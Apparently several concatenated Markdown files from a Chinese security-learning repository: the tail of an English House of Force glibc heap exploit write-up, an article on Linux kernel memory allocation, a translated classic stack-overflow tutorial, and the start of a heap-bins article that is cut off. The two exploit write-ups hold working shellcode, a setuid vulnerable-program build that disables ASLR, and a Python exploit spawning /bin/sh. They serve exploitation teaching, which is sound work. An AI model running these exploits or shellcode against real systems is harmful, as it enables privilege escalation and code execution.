#[4151](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=e3ccbde7b5b84affbf6ff2387a5151310235f0a3;hb=1afdd17390f6febdfe559e16dfc5c5718f8934aa#l4151), there is the following code: 47 | ``` c 48 | Void_t* 49 | _int_malloc(mstate av, size_t bytes) 50 | { 51 | INTERNAL_SIZE_T nb; /* normalized request size */ 52 | 53 | [...] 54 | 55 | mchunkptr victim; /* inspected/selected chunk */ 56 | INTERNAL_SIZE_T size; /* its size */ 57 | int victim_index; /* its bin index */ 58 | 59 | mchunkptr remainder; /* remainder from a split */ 60 | unsigned long remainder_size; /* its size */ 61 | 62 | [...] 63 | 64 | checked_request2size(bytes, nb); 65 | 66 | [...] 67 | 68 | use_top: 69 | /* 70 | If large enough, split off the chunk bordering the end of memory 71 | (held in av->top). Note that this is in accord with the best-fit 72 | search rule. In effect, av->top is treated as larger (and thus 73 | less well fitting) than any other available chunk since it can 74 | be extended to be as large as necessary (up to system 75 | limitations). 76 | 77 | We require that av->top always exists (i.e., has size >= 78 | MINSIZE) after initialization, so if it would otherwise be 79 | exhuasted by current request, it is replenished. (The main 80 | reason for ensuring it exists is that we may need MINSIZE space 81 | to put in fenceposts in sysmalloc.) 82 | */ 83 | 84 | victim = av->top; 85 | size = chunksize(victim); 86 | 87 | if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 88 | remainder_size = size - nb; 89 | remainder = chunk_at_offset(victim, nb); 90 | av->top = remainder; 91 | set_head(victim, nb | PREV_INUSE | 92 | (av != &main_arena ? NON_MAIN_ARENA : 0)); 93 | set_head(remainder, remainder_size | PREV_INUSE); 94 | 95 | check_malloced_chunk(av, victim, nb); 96 | return chunk2mem(victim); 97 | } 98 | 99 | [...] 100 | ``` 101 | In the Malloc Maleficarum it is written that the wilderness chunk should have the highest size possible (preferably 0xFFFFFFFF). As the overflowing chunk is 256 bytes long, filling it with 264 “\xFF” characters will make it happen. Doing this has the nice consequence of handling any other large memory request inside the malloc() itself, instead of requesting an heap expansion. 102 | 103 | When malloc(len) will be called, the new wilderness’ location will be computed by adding the normalized requested size to the old location of the top chunk by using the chunk_at_offset macro. Once this value is computed, av->top is set to it. The important thing is to let this value to point to an area under the exploiter’s control (may be the stack, or a .got/.dtors entry, or whatever). Truth be told, this value must be 8 bytes before the target area. 104 | 105 | Once this is done, the pointer returned from the next malloc call will return the aforementioned value + 8 bytes (prev_size + size). This means that ptr3 will point directly to the stack or to the entry the exploiter chose or wherever desired. So, in this case, with a simple strcpy, the attacker can overwrite these interesting areas of memory. 106 | 107 | Years have passed by, but this bug has never been fixed in glibc: this means, that it’s time to test it on my glibc 2.20 linux box. As in the “House of Mind” post, I had to disable ASLR and to set the noexec kernel paramater to OFF. As my phylosophy has always been to disable the less possible, RELRO stays on and we won’t be able to overwrite any entry: stack time! (OK, I know that full RELRO is not on by default on gcc, so I could actually overwrite a .got entry, but anyway…) 108 | 109 | So, the first step is to “cook” the second application argument (argv[2]) in such a way that it overwrites the wilderness size. This is actually pretty simple, as a simple Python command can do the trick. As the whole task is performed only by the last four bytes of the string (which are set to “\xFF”), we have 256 bytes to store the shellcode. 110 | ``` 111 | python -c 'import sys; sys.stdout.write("\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xFF" * (264 - 36))' 112 | ``` 113 | The next step is to understand which value is going to replace the returning address. But that’s, of course, ptr1‘s address (as that’s where our shellcode is). This address is printed by the code itself: Python will do the trick again. 114 | 115 | `python -c 'import sys; sys.stdout.write("\x08\xB0\x04\x08` 116 | The last step is the trickiest one, as we need to compute the value that it’s going to be added to av->top in order to have the pushed-EIP (- 8) address as result. So, on my system, EIP was pushed at 0xFFFFCE5C and the wilderness was originally located at 0x0804B108. So, we need to compute 117 | 118 | `0xFFFFCE5C – 0x8 – 0x0804B108 = 0xF7FB1D4C = 4160429388` 119 | 120 | OK, so, we know now that nb must be equal to 4160429388. Due to the alignment that checked_request2size performs, the closest I could get to this value was 4160429384. Mmm… This means that I’m going to be 4 bytes before the returning address and that we need to change the last Python command. Anyway, in order to have 4160429388 as normalized value, I succeeded by using 4160429373. 121 | 122 | The previous Python command, so, becomes: 123 | 124 | `python -c 'import sys; sys.stdout.write("A + "\x08\xB0\x04\x08")'` 125 | I know, we’re going to overwrite some variable’s value, but, at least in this scenario, it’s not that important. So, in the real end, the whole thing reduces to: 126 | ``` 127 | $ ./hof 4160429373 $(python -c 'import sys; sys.stdout.write("\xeb\x17\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x50\x77\x6e\x65\x64\x21\xFF" * (264 - 36))') $(python -c 'import sys; sys.stdout.write("A + "\x08\xB0\x04\x08")') 128 | PTR1 = [ 0x804b008 ] 129 | Allocated MEM: 4160429373 bytes 130 | Pwned!$ 131 | ``` 132 | There you have it! -------------------------------------------------------------------------------- /Linux 系统底层知识/深入理解Linux内存分配.md: -------------------------------------------------------------------------------- 1 | CSysSec注: 本文来自Diting0x的个人博客,主要介绍了Linux内核中一系列的内存分配函数及其原理 2 | 转载本文请务必注明,文章出处:《[深入理解Linux内核分配](http://www.csyssec.org/20170301/kernel-malloc/)》与作者信息:Diting0x 3 | 4 | 为了写一个用户层程序,你也许会声明一个全局变量,这个全局变量可能是一个int类型也可能是一个数组,而声明之后你有可能会先初始化它,也有可能放在之后用到它的时候再初始化。除此之外,你有可能会选择在函数内部去声明局部变量,又或者为变量动态申请内存。 5 | 6 | 不管你在用户程序中采取哪种方式申请内存,这些都对应着不同的内存分配方式以及不同的数据段,如果再加上代码段,就构成了一个完整的进程。由此可见,一个完整的进程在内存空间中对应着不同的数据区,具体来说,对应着五种不同的数据区: 7 | 8 | 代码段,存放操作指令;数据段,存放已初始化的全局变量;BSS段,存放未初始化的全局变量;堆,存放动态分配的内存(e.g.,malloc());栈,存放临时创建的局部变量。 9 | 10 | 当你习惯写用户程序时,你不会去太多考虑你声明的变量最后都放到内存哪里去了,如果你仍然觉得这不是你应该了解的事情,后面的内容你就可以不用浪费时间继续阅读了。下文更多的是关注内核空间的分配,但至少也会把用户空间的分配情况说清楚。 11 | 12 | 对于x86系统来说,4G的内存空间被分为用户空间(e.g.,0-3G,0xC0000000)与内核空间(e.g.,3G-4G),用户程序只能在进行系统调用时才能访问到内核空间。此外,当进程切换时,用户空间会随着进程的变化切换到对应进程的用户空间,而内核空间不会随着进程而改变,由内核负责映射。内核空间有自己对应的页表,而用户进程各自有不同的页表。 13 | 14 | 从用户层向内核看,内存的地址形式依次是,逻辑地址--线性地址--物理地址,但Linux并没有充分利用段机制,而是将所有程序的段地址固定在0-4G,因此逻辑地址就等于线性地址。 15 | 16 | 了解这些基本知识之后,来看看进程的虚拟地址是如何组织的。 17 | 一个进程的虚拟地址空间主要由两个数据结构来描述,mm_struct与vm_area_struct。 来具体说说这两个结构体用来做什么 18 | 19 | 每个进程有一个mm_struct结构,在进程的task_struct结构体中有一个指针指向mm_struct。 mm_struct的定义如下: 20 | 21 | ``` c 22 | struct mm_struct { 23 | struct vm_area_struct * mmap; /* 指向虚拟区间(VMA)链表 */ 24 | rb_root_t mm_rb; /*指向red_black树*/ 25 | struct vm_area_struct * mmap_cache; /* 指向最近找到的虚拟区间*/ 26 | pgd_t * pgd; /*指向进程的页目录*/ 27 | atomic_t mm_users; /* 用户空间中的有多少用户*/ 28 | atomic_t mm_count; /* 对"struct mm_struct"有多少引用*/ 29 | int map_count; /* 虚拟区间的个数*/ 30 | struct rw_semaphore mmap_sem; 31 | spinlock_t page_table_lock; /* 保护任务页表和 mm->rss */ 32 | struct list_head mmlist; /*所有活动(active)mm的链表 */ 33 | unsigned long start_code, end_code, start_data, end_data; 34 | unsigned long start_brk, brk, start_stack; 35 | unsigned long arg_start, arg_end, env_start, env_end; 36 | unsigned long rss, total_vm, locked_vm; 37 | unsigned long def_flags; 38 | unsigned long cpu_vm_mask; 39 | unsigned long swap_address; 40 | 41 | unsigned dumpable:1; 42 | 43 | /* Architecture-specific MM context */ 44 | mm_context_t context; 45 | }; 46 | ``` 47 | 简单来说,mm_struct是对整个进程的用户空间的描述,而进程的虚拟空间可能有多个虚拟区间(这里的区间就是由vm_area_struct来描述). vm_area_struct是描述进程虚拟空间的基本单元,那这些基本单元又是如何管理组织的呢?内核采取两种方式来组织这些基本单元,第一,正如mm_struct中的mmap指针指向vm_area_struct,以链表形式存储,这种结构主要用来遍历节点;第二,以红黑树来组织vm_area_struct,这种结构主要在定位特定内存区域时用来搜索,以降低耗时。 48 | 49 | 了解了这些关联之后,回到最前面,当你写的用户程序在申请内存时(e.g., int i =0; malloc()),注意这里申请的内存还是虚拟内存,可以说是“内存区域”(vm_area_struct),并非实际物理内存。 这些虚拟内存除了malloc()方式(由专门的brk()系统调用实现),最终都是通过系统调用mmap来完成的,而mmap系统调用对应的服务例程是do_mmap()函数,有关do_mmap()函数,可参考[do_mmap()](http://lxr.free-electrons.com/source/mm/mmap.c?v=2.6.25#L1843). 50 | 51 | 说了这么多用户空间,该把重心来看看内核空间了。 52 | 用户空间有malloc内存分配函数,内核空间同样有类似的内存分配函数,只是种类多一些 53 | (e.g., `*kmalloc/kfree,vmalloc/vfree,kmem_cache_alloc/kmem_cache_free,get_free_page`). 54 | 在具体解释内核空间层的内存分配函数之前,先来看看,物理内存是如何组织的。Linux通过分页机制来管理物理内存,页面是物理内存的基本单位,每个页面占4kB。页面在系统中由struct page结构来描述,而所有的struct page结构体都存储在数组mem_map[]中,因此只要能找到mem_map[]数组的物理地址,就能遍历所有页面的地址。可以来大致看一下struct page*的定义: 55 | 56 | ``` c 57 | struct page { 58 | unsigned long flags; 59 | atomic_t count; 60 | unsigned int mapcount; 61 | unsigned long private; 62 | struct address_space *mapping; 63 | pgoff_t index; 64 | struct list_head lru; 65 | union{ 66 | struct pte_chain; 67 | pte_addr_t; 68 | } 69 | void *virtual; 70 | }; 71 | ``` 72 | 其中,flag用来存放页的状态,count记录该页面被引用了多少次,mapping指向该页面相关的地址空间对象… 这里只是一个简化的定义,真实情况会复杂一些,要把page说清楚,需要写一篇新的博客了,之后的文章会专门介绍。需要注意的是,page描述的是物理内存本身,而并非包含在里面的数据。 73 | 74 | 那这些page又和内核空间的内存分配有什么关系呢? 75 | 内核空间有一系列的页面分配函数: 76 | 77 | ``` c 78 | struct page * alloc_page(unsigned int gfp_mask) 79 | //Allocate a single page and return a struct address 80 | 81 | struct page * alloc_pages(unsigned int gfp_mask, unsigned int order) 82 | //Allocate 2order number of pages and returns a struct page 83 | 84 | unsigned long get_free_page(unsigned int gfp_mask) 85 | //Allocate a single page, zero it and return a virtual address 86 | 87 | unsigned long __get_free_page(unsigned int gfp_mask) 88 | //Allocate a single page and return a virtual address 89 | 90 | unsigned long __get_free_pages(unsigned int gfp_mask, unsigned int order) 91 | //Allocate 2order number of pages and return a virtual address 92 | 93 | struct page * __get_dma_pages(unsigned int gfp_mask, unsigned int order) 94 | //Allocate 2order number of pages from the DMA zone and return a struct page 95 | ``` 96 | 以 `__get_free_pages` 为例看看其函数间调用关系: 97 | 98 | ``` c 99 | unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order) 100 | { 101 | page = alloc_pages(gfp_mask, order); 102 | } 103 | ``` 104 | 105 | `#define alloc_pages(gfp_mask, order) \ alloc_pages_node(numa_node_id(), gfp_mask, order)` 106 | 107 | ``` c 108 | static inline struct page *alloc_pages_node(int nid, gfp_t gfp_mask,unsigned int order) 109 | { 110 | return __alloc_pages_node(nid, gfp_mask, order); 111 | } 112 | ``` 113 | ``` c 114 | static inline struct page * __alloc_pages_node(int nid, gfp_t gfp_mask, unsigned int order) 115 | { 116 | 117 | return __alloc_pages(gfp_mask, order, node_zonelist(nid, gfp_mask)); 118 | } 119 | ``` 120 | 最终 `__get_free_page` 会调用 `__alloc_pages` 函数分配页面。`__alloc_pages` 是所有页面分配函数的核心函数,最终都会调用到这个函数,它会返回一个struct page结构。 121 | 122 | 在了解与其它内存分配函数的区别前,先说明下面这个概念 123 | 124 | 前文说过3G-4G属于内核空间,然后在内核空间中又有进一步划分。 125 | `3G~vmalloc_start`这段地址是物理内存映射区域,该区域包括了内核镜像,mem_map数组等等。在`vmalloc_start~vmalloc_end`属于vmalloc区域(vmalloc下文会说),vmalloc_end的位置接近4G(最后系统会保留一片128KB大小的区域专用页面映射). 那这个vmalloc_start的位置又在哪呢?假设我们使用的系统内存是512M,vmalloc_start就在应在3G+512M附近(说”附近”因为是在物理内存映射区与vmalloc_start期间还会存在一个8M大小的gap来防止跃界).当然实际情况都比这个大,甚至都4G,8G,16G..但我们使用的CPU都是64位的,可寻址空间就不止4G了,这个理论仍然有效。 126 | 127 | `__get_free_page` 系列函数申请的内存位于物理内存映射区域,在物理上是连续的,注意,函数返回的是虚拟地址,其与物理地址有一个固定的偏移,存在比较简单的转换关系,virt_to_phys()函数做的就是这件事: 128 | 129 | ``` c 130 | #define __pa(x) ((unsigned long)(x)-PAGE_OFFSET) 131 | extern inline unsigned long virt_to_phys(volatile void * address) 132 | { 133 |  return __pa(address); 134 | } 135 | ``` 136 | 注意,这里的PAGE_OFFSET指的就是3G(针对x86位系统). 137 | 138 | 与页面分配系函数一样,kmalloc函数申请的内存也处于物理内存映射区域,在物理上是连续的。Kmalloc函数是slab分配器提供的分配内存的接口,slab是什么?这里不去具体讲slab分配原理,想详细了解的slab可以参考 [这里](https://www.kernel.org/doc/gorman/html/understand/understand011.html). 简单说明一下:slab是为了避免内部碎片使得一个页面内包含的众多小块内存可独立被分配使用,是为分配小内存提供的一种高效机制。追踪kmalloc函数,可以发现,它最终还是调用前面提到的 139 | `__alloc_pages()`函数。既然kmalloc基于slab实现,而slab分配机制又不是独立的,本身也是在以页面为单位分配的基础上来划分更细粒度的内存供调用者使用。就是说系统先用页分配器分配以页为最小单位的连续物理地 址,然后kmalloc再在这上面根据调用者的需要进行切分。 140 | 141 | 既然slab是为了解决内部碎片的问题,那想必也有一个解决外部碎片的机制(注:外部分片是指系统虽有足够的内存,但却是分散的碎片,无法满足对大块“连续内存”的需求)。没错,伙伴关系系统就是这么一个机制。伙伴关系系统提供vmalloc来分配非连续内存,其分配的地址限于上述说的vmalloc_start~vmalloc_end之间。这些虚拟地址与物理内存没有简单的位移关系,必须通过内核页表才可转换为物理地址或物理页。它们有可能尚未被映射,在发生缺页时才真正分配物理页面。 142 | 143 | 说到这里,还有一个关键函数没提,kmem_cache_alloc。 kmem_cache_alloc也是基于slab分配器的一种内存分配方式,适用于反复分配同一大小内存块的场合。首先用kmem_cache_create创建一个高速缓存区域,然后用kmem_cache_alloc从该高速缓存区域获取新的内存块。`kmem_cache_alloc` 分配固定大小的内存块。kmalloc则是在kmem_cache_create的基础实现的,其分配动态大小的内存块,查看源码可以发现kmalloc函数中会有一段代码块转向调用kmem_cache_alloc: 144 | 145 | ``` c 146 | static inline void *kmalloc(size_t size, gfp_t flags) 147 | { 148 | if (__builtin_constant_p(size)) { 149 | int i = 0; 150 | #define CACHE(x) \ 151 | if (size <= x) \ 152 | goto found; \ 153 | else \ 154 | i++; 155 | #include "kmalloc_sizes.h" 156 | #undef CACHE 157 | { 158 | extern void __you_cannot_kmalloc_that_much(void); 159 | __you_cannot_kmalloc_that_much(); 160 | } 161 | found: 162 | return kmem_cache_alloc((flags & GFP_DMA) ? 163 | malloc_sizes[i].cs_dmacachep : 164 | malloc_sizes[i].cs_cachep, flags); 165 | } 166 | return __kmalloc(size, flags); 167 | } 168 | ``` 169 | 内核空间常用的内存分配函数就此说完了,实际除了这些常用的,还有其它的分配函数,在此简单说明一下。如,`dma_alloc_coherent`,基于 170 | `__alloc_pages` 实现,适用于DMA操作;ioremap,实现已知物理地址到虚拟地址的映射,适用于物理地址已经的场合,如设备驱动;alloc_bootmem,在启动内核时,预留一段内存,内核看不见,对内存管理要求较高。 -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/经典栈缓冲区溢出.md: -------------------------------------------------------------------------------- 1 | CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。 2 | 转载本文请务必注明,文章出处:《[Linux(X86)漏洞利用系列-经典栈缓冲区溢出](http://www.csyssec.org/20161230/stackbufferflow/)》 3 | 4 | VM Setup: Ubuntu 12.04 (x86) 5 | 6 | 虽然你能在网上找到很多缓冲区溢出漏洞利用系列教程,但本文肯定是其中最最简单的一篇。尽管内容与其他文章多有重复,并且同类文章已经有了很多,我仍然愿意出一篇独家教程,因为这篇博文将是我后续发布的众多文章的阅读前提。 7 | 8 | ## 0X01 什么是缓冲区溢出(Buffer Overflow) 9 | 10 | 将源缓冲区复制到目标缓冲区时,以下情况可能导致缓冲区溢出的情况发生: 11 | 12 | 源字符串长度大于目标字符串长度 13 | 没有执行缓冲区大小检查 14 | 缓冲区溢出分两类: 15 | 16 | 栈缓冲区溢出——此时目标缓冲区存放于栈中 17 | 堆缓冲区溢出——此时目标缓冲区存放于堆中 18 | 这篇文章里,我只讨论栈缓冲区溢出问题。堆缓冲区溢出请参见Linux (x86) 漏洞利用教程系列中的第三部分。 19 | 20 | 缓冲区溢出漏洞会导致任意代码执行的发生。 21 | 22 | ## 0X02 什么是任意代码执行(arbitrary code execution) 23 | 24 | 任意代码执行允许攻击者执行代码来获得系统控制权。获得系统控制权的方法有很多,比如触发一个root shell、添加一个新用户、建立一个网络端口等等。 25 | 26 | 听起来挺有趣的吧?话不多说,来看一则典型漏洞代码吧! 27 | 28 | 漏洞代码: 29 | 30 | ``` c 31 | //vuln.c 32 | #include 33 | #include 34 | int main(int argc, char* argv[]) { 35 | /* [1] */ char buf[256]; 36 | /* [2] */ strcpy(buf,argv[1]); 37 | /* [3] */ printf("Input:%s\n",buf); 38 | return 0; 39 | } 40 | ``` 41 | 编译命令: 42 | 43 | ``` bash 44 | #echo 0 > /proc/sys/kernel/randomize_va_space 45 | $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c 46 | $sudo chown root vuln 47 | $sudo chgrp root vuln 48 | $sudo chmod +s vuln 49 | ``` 50 | 上述漏洞程序的第[2]行显示,该程序中存在缓冲区溢出漏洞。由于缓冲区内容是用户提供的输入值,因此这个缓冲区溢出漏洞很可能导致系统执行任意代码。 51 | 52 | 注:本系列所有文章中第[N]行代码指的的代码中显示`/*[N]*/`的位置。 53 | 54 | ## 0X03 如何实现任意代码执行是如何实现的 55 | 56 | 任意代码执行是通过“返回地址覆盖(**Return Address Overwrite**)”技术实现的。这种方法帮助攻击者覆盖掉存储在栈内的返回地址,通过这种覆盖,任意代码执行得以实现。 57 | 58 | 为了让大家更好地理解漏洞利用代码,我们在对它做进一步的分析之前,先来反汇编并画出漏洞代码的堆栈布局图吧! 59 | 60 | 反汇编: 61 | 62 | ``` 63 | (gdb) disassemble main 64 | Dump of assembler code for function main: 65 | //Function Prologue 66 | 0x08048414 <+0>: push %ebp //backup caller's ebp 67 | 0x08048415 <+1>: mov %esp,%ebp //set callee's ebp to esp 68 | 0x08048417 <+3>: and $0xfffffff0,%esp //stack alignment 69 | 0x0804841a <+6>: sub $0x110,%esp //stack space for local variables 70 | 0x08048420 <+12>: mov 0xc(%ebp),%eax //eax = argv 71 | 0x08048423 <+15>: add $0x4,%eax //eax = &argv[1] 72 | 0x08048426 <+18>: mov (%eax),%eax //eax = argv[1] 73 | 0x08048428 <+20>: mov %eax,0x4(%esp) //strcpy arg2 74 | 0x0804842c <+24>: lea 0x10(%esp),%eax //eax = 'buf' 75 | 0x08048430 <+28>: mov %eax,(%esp) //strcpy arg1 76 | 0x08048433 <+31>: call 0x8048330 //call strcpy 77 | 0x08048438 <+36>: mov $0x8048530,%eax //eax = format str "Input:%s\n" 78 | 0x0804843d <+41>: lea 0x10(%esp),%edx //edx = buf 79 | 0x08048441 <+45>: mov %edx,0x4(%esp) //printf arg2 80 | 0x08048445 <+49>: mov %eax,(%esp) //printf arg1 81 | 0x08048448 <+52>: call 0x8048320 //call printf 82 | 0x0804844d <+57>: mov $0x0,%eax //return value 0 83 | //Function Epilogue 84 | 0x08048452 <+62>: leave //mov ebp, esp; pop ebp; 85 | 0x08048453 <+63>: ret //return 86 | End of assembler dump. 87 | (gdb) 88 | ``` 89 | 堆栈布局: 90 | ![](../pictures/level1stacklayout.jpeg) 91 | 92 | 93 | 根据已有知识,用户输入值大小超过256时会溢出目标缓冲区,并且覆盖存储于栈中的返回地址。让我们来通过发送一串“A”的方法进行测试。 94 | 95 | 测试第一步: 是否会覆盖返回地址? 96 | 97 | ``` 98 | $ gdb -q vuln 99 | Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done. 100 | (gdb) r `python -c 'print "A"*300'` 101 | Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'` 102 | Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 103 | Program received signal SIGSEGV, Segmentation fault. 104 | 0x41414141 in ?? () 105 | (gdb) p/x $eip 106 | $1 = 0x41414141 107 | (gdb) 108 | ``` 109 | 上述输出结果显示,EIP被“AAAAA”覆盖了,这就意味着返回地址被覆盖是有可能的!! 110 | 111 | 测试第二步:来自目标缓冲区的偏移量是什么? 112 | 113 | 现在我们来找找目标缓冲区‘buf’中返回地址的偏移处于什么位置。 114 | 之前我们已经反汇编并画了main()的堆栈布局,那么现在就试着找出代码的偏移位置信息吧!由堆栈布局可以看出,返回地址偏移位于目标缓冲区buf的(0x10c)处。(0x10c)计算方式如下 115 | 116 | 0x10c = 0x100 + 0x8 + 0x4 117 | 其中: 118 | 119 | 0X100 是‘buf’大小 120 | 0x8 是对齐空间 121 | 0x4 是调用者的EBP 122 | 这样一来,用户输入“A” 268 + “B” 4中,一串“A”覆盖‘buf’、对齐空间和调用者的EBP,“BBBB”覆盖返回地址。 123 | 124 | ``` 125 | $ gdb -q vuln 126 | Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done. 127 | (gdb) r `python -c 'print "A"*268 + "B"*4'` 128 | Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'` 129 | Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 130 | Program received signal SIGSEGV, Segmentation fault. 131 | 0x42424242 in ?? () 132 | (gdb) p/x $eip 133 | $1 = 0x42424242 134 | (gdb) 135 | ``` 136 | 上述输出结果表明攻击者已经获得返回地址的控制权。位于栈 (0xbffff1fc)的返回地址已经被“BBBB”覆盖了。有了这些信息,我们就可以写出能实现任意代码执行的漏洞利用代码了。 137 | 138 | 漏洞利用代码: 139 | 140 | ``` python 141 | #exp.py 142 | #!/usr/bin/env python 143 | import struct 144 | from subprocess import call 145 | #Stack address where shellcode is copied. 146 | ret_addr = 0xbffff1d0 147 | 148 | #Spawn a shell 149 | #execve(/bin/sh) 150 | scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" 151 | #endianess convertion 152 | def conv(num): 153 | return struct.pack("... 203 | ``` 204 | 4. 调用 call printf,strcpy 等共享库函数时并不会把下一行指令的地址压栈,故不会因为覆盖栈内容而导致 ret 链条失败。 205 | 5. 每次参数输入长度不同可能导致堆栈地址不同,如起始的 esp 就会不同。 206 | 207 | ## 0x05 其他参考 208 | https://evilpan.com/2018/03/17/exploit-the-stack/ 209 | -------------------------------------------------------------------------------- /Linux 系统底层知识/Linux 堆内存管理深入分析(下).md: -------------------------------------------------------------------------------- 1 | 原文 by 走位@阿里聚安全 2 | 3 | ## 0 前言回顾 4 | 5 | 在上一篇文章中,详细介绍了堆内存管理中涉及到的基本概念以及相互关系,同时也着重介绍了堆中chunk分配和释放策略中使用到的隐式链表技术。通过前面的介绍,我们知道使用隐式链表来管理内存chunk总会涉及到内存的遍历,效率极低。对此glibc malloc引入了显式链表技术来提高堆内存分配和释放的效率。 6 | 7 | 8 | 所谓的显式链表就是我们在数据结构中常用的链表,而链表本质上就是将一些属性相同的“结点”串联起来,方便管理。在glibc malloc中这些链表统称为bin,链表中的“结点”就是各个chunk,结点的共同属性就是:1)均为free chunk;2)同一个链表中各个chunk的大小相等(有一个特例,详情见后文)。 9 | 10 | 11 | 12 | ## 1 bin介绍 13 | 14 | 如前文所述,bin是一种记录free chunk的链表数据结构。系统针对不同大小的free chunk,将bin分为了4类:1) Fast bin; 2) Unsorted bin; 3) Small bin; 4) Large bin。 15 | 16 | 17 | 在glibc中用于记录bin的数据结构有两种,分别如下所示: 18 | **fastbinsY**: 这是一个数组,用于记录所有的fast bins; 19 | **bins**: 这也是一个数组,用于记录除fast bins之外的所有bins。事实上,一共有126个bins,分别是: 20 | bin 1 为unsorted bin; 21 | bin 2 到63为small bin; 22 | bin 64到126为large bin。 23 | 其中具体数据结构定义如下: 24 | ``` c 25 | struct malloc_state 26 | { 27 | …… 28 | /* Fastbins */ 29 | mfastbinptr fastbinsY[NFASTBINS]; 30 | …… 31 | /* Normal bins packed as described above */ 32 | mchunkptr bins[NBINS * 2 - 2]; // #define NBINS 128 33 | …… 34 | }; 35 | ``` 36 | 这里mfastbinptr的定义:`typedef struct malloc_chunk *mfastbinptr;` 37 | mchunkptr的定义:`typedef struct malloc_chunk* mchunkptr;` 38 | 39 | 画图更直观: 40 | ![](../pictures/heapmanager15.png) 41 | 42 | 图1-1 bins分类 43 | 44 | 那么处于bins中个各个free chunk是如何链接在一起的呢?回顾malloc_chunk的数据结构: 45 | ``` c 46 | struct malloc_chunk { 47 | /* #define INTERNAL_SIZE_T size_t */ 48 | INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ 49 | INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ 50 | struct malloc_chunk* fd; /* 这两个指针只在free chunk中存在*/ 51 | struct malloc_chunk* bk; 52 | 53 | /* Only used for large blocks: pointer to next larger size. */ 54 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ 55 | struct malloc_chunk* bk_nextsize; 56 | }; 57 | ``` 58 | 其中的fd和bk指针就是指向当前chunk所属的链表中forward或者backward chunk。 59 | 60 | ## 2 Fast bin 61 | 62 | 既然有fast bin,那就肯定有fast chunk——chunk size为16到80字节的chunk就叫做fast chunk。为了便于后文描述,这里对chunk大小做如下约定: 63 | 1) 只要说到chunk size,那么就表示该malloc_chunk的实际整体大小; 64 | 2) 而说到chunk unused size,就表示该malloc_chunk中刨除诸如prev_size, size, fd和bk这类辅助成员之后的实际可用的大小。因此,对free chunk而言,其实际可用大小总是比实际整体大小少16字节。 65 | 66 | 67 | 在内存分配和释放过程中,fast bin是所有bin中操作速度最快的。下面详细介绍fast bin的一些特性: 68 | 1. fast bin的个数——10个 69 | 2. 每个fast bin都是一个单链表(**只使用fd指针**)。为什么使用单链表呢?因为在fast bin中无论是添加还是移除fast chunk,都是对“**链表头**”进行操作,而不会对某个中间的fast chunk进行操作。更具体点就是LIFO(后入先出)算法:添加操作(free内存)就是将新的fast chunk加入链表头,删除操作(malloc内存)就是将链表头部的fast chunk删除。需要注意的是,为了实现LIFO算法,fastbinsY数组中每个fastbin元素均指向了该链表的front end(头结点),而头结点通过其fd指针指向前一个结点,依次类推,如图2-1所示。 70 | 3. chunk size:10个fast bin中所包含的fast chunk size是按照步进8字节排列的,即第一个fast bin中所有fast chunk size均为16字节,第二个fast bin中为24字节,依次类推。在进行malloc初始化的时候,最大的fast chunk size被设置为80字节(chunk unused size为64字节),因此默认情况下大小为16到80字节的chunk被分类到fast chunk。详情如图2-1所示。 71 | 4. 不会对free chunk进行合并操作。鉴于设计fast bin的初衷就是进行快速的**小内存**分配和释放,因此系统将属于fast bin的chunk的P(未使用标志位)总是设置为1,这样即使当fast bin中有某个chunk同一个free chunk相邻的时候,系统也不会进行自动合并操作,而是保留两者。虽然这样做可能会造成额外的碎片化问题,但瑕不掩瑜。 72 | 5. malloc(fast chunk)操作:即用户通过malloc请求的大小属于fast chunk的大小范围(注意:用户请求size加上16字节就是实际内存chunk size)。在初始化的时候fast bin支持的最大内存大小以及所有fast bin链表都是空的,所以当最开始使用malloc申请内存的时候,即使申请的内存大小属于fast chunk的内存大小(即16到80字节),它也不会交由fast bin来处理,而是向下传递交由small bin来处理,如果small 